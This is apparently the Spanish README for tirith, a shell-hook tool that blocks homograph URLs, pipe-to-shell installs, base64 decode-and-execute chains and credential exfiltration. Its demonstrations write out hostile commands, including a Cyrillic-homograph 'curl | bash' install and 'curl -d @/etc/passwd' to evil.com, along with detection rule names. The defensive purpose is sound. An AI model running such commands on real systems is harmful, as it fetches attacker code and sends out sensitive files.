
tirith v0.4.0
Seguridad en terminal para desarrolladores y agentes de IA. Intercepta URLs homógrafas, pipe-to-shell, inyección ANSI, payloads ofuscados, exfiltración de datos y skills/configuraciones maliciosas de IA antes de que se ejecuten.
tirith
Tu navegador detectaría esto. Tu terminal no.
Sitio web | Documentación | SKILL.md | Registro de cambios | Versiones
Proyecto de código abierto independiente, con alojamiento respaldado por el Vercel Open Source Program (Spring 2026 Cohort).
¿Puedes detectar la diferencia?
curl -sSL https://install.example-cli.dev | bash # safe
curl -sSL https://іnstall.example-clі.dev | bash # compromised
No puedes. Tu terminal tampoco. Ambos caracteres і son cirílicos (U+0456), no latinos i. La segunda URL resuelve a un servidor del atacante. El script se ejecuta antes de que te des cuenta.
Los navegadores resolvieron esto hace años. Las terminales todavía renderizan Unicode, secuencias de escape ANSI y caracteres invisibles sin cuestionarlos. Los agentes de IA ejecutan comandos de shell e instalan paquetes sin inspeccionar lo que hay dentro.
Tirith se sitúa en la puerta. Intercepta comandos, contenido pegado y archivos escaneados en busca de URLs homógrafas, payloads ofuscados, exfiltración de credenciales, skills/configs de IA maliciosos y paquetes/dominios/IPs maliciosos conocidos de una base de datos de inteligencia de amenazas firmada antes de que se ejecuten.
brew install tirith
Luego actívalo en el perfil de tu shell:
# zsh
eval "$(tirith init --shell zsh)"
# bash
eval "$(tirith init --shell bash)"
# fish
tirith init --shell fish | source
[!TIP]
eval "$(tirith init)"detecta automáticamente tu shell actual (inspecciona el proceso padre y recurre a$SHELLsi es necesario). El flag explícito--shellsolo es necesario cuando quieres anular la detección.
O deja que Tirith escriba el archivo de inicio por ti, como un plan revisado que puedes deshacer:
tirith setup recommended --scope user --shell zsh --dry-run # preview
tirith setup recommended --scope user --shell zsh # apply
Eso es todo para la cobertura de la shell interactiva. Los comandos aceptados por esa shell se verifican mientras el hook está cargado y en buen estado; el comportamiento exacto de bloqueo depende de la shell y del modo. Ejecuta tirith status después de la instalación y las actualizaciones: indica si el hook cargado en esta terminal está actualizado. Ejecuta tirith doctor --verify-shell para observar el bloqueo en la propia shell, y lee enforcement by shell antes de tratar el hook como un límite de autorización. Los comandos limpios permanecen en silencio y normalmente toman la ruta rápida.
También disponible mediante npm, cargo, mise, apt/dnf y más.
Verlo funcionar
Ataque de homógrafos, bloqueado antes de la ejecución:
$ curl -sSL https://іnstall.example-clі.dev | bash
tirith: BLOCKED
[CRITICAL] non_ascii_hostname, Cyrillic і (U+0456) in hostname
This is a homograph attack. The URL visually mimics a legitimate
domain but resolves to a completely different server.
Bypass: prefix your command with TIRITH=0 (applies to that command only)
El comando nunca se ejecuta.
Solicitud HTTP simple a una dirección de LAN, advertida, no bloqueada:
$ curl http://192.168.1.20:8080/health
tirith: WARNING
[MEDIUM] raw_ip_url, URL uses raw IP address
[MEDIUM] plain_http_to_sink, Plain HTTP URL in execution context
[MEDIUM] private_network_access, Private network access: 192.168.1.20
Advertencia impresa en stderr. El comando aún se ejecuta. Una descarga canalizada a un shell
(curl ... | sh) no es una advertencia: se bloquea como curl_pipe_shell.
Cadena de decodificación-ejecución Base64, bloqueada:
$ echo payload | base64 -d | bash
tirith: BLOCKED
[HIGH] base64_decode_execute, Base64 decode piped to interpreter
[HIGH] pipe_to_interpreter, Pipe to interpreter: base64 | bash
Detecta también cadenas de decodificación a través de envoltorios sudo/env y de PowerShell -EncodedCommand.
Exfiltración de credenciales, bloqueada:
$ curl -d @/etc/passwd https://evil.com/collect
tirith: BLOCKED
[HIGH] data_exfiltration, Data exfiltration via curl upload
curl command uploads sensitive data to a remote server
Cubre todas las flags de carga de curl/wget, variables de entorno ($AWS_SECRET_ACCESS_KEY) y sustitución de comandos.
Archivo de skill malicioso, detectado en el escaneo:
$ tirith scan evil_skill.py
tirith scan: evil_skill.py, 3 finding(s)
[MEDIUM] dynamic_code_execution, exec() near b64decode() in close proximity
[MEDIUM] obfuscated_payload, Long base64 string decoded and executed
[MEDIUM] suspicious_code_exfiltration, HTTP call passes sensitive data as argument
Escanea archivos JS/Python en busca de cargas útiles ofuscadas, ejecución dinámica de código y patrones de exfiltración de secretos.
Comandos normales, invisibles:
$ git status
$ ls -la
$ docker compose up -d
Nada. Cero salida. Olvidas que tirith se está ejecutando.
Qué detecta
245 reglas de detección en 35 categorías.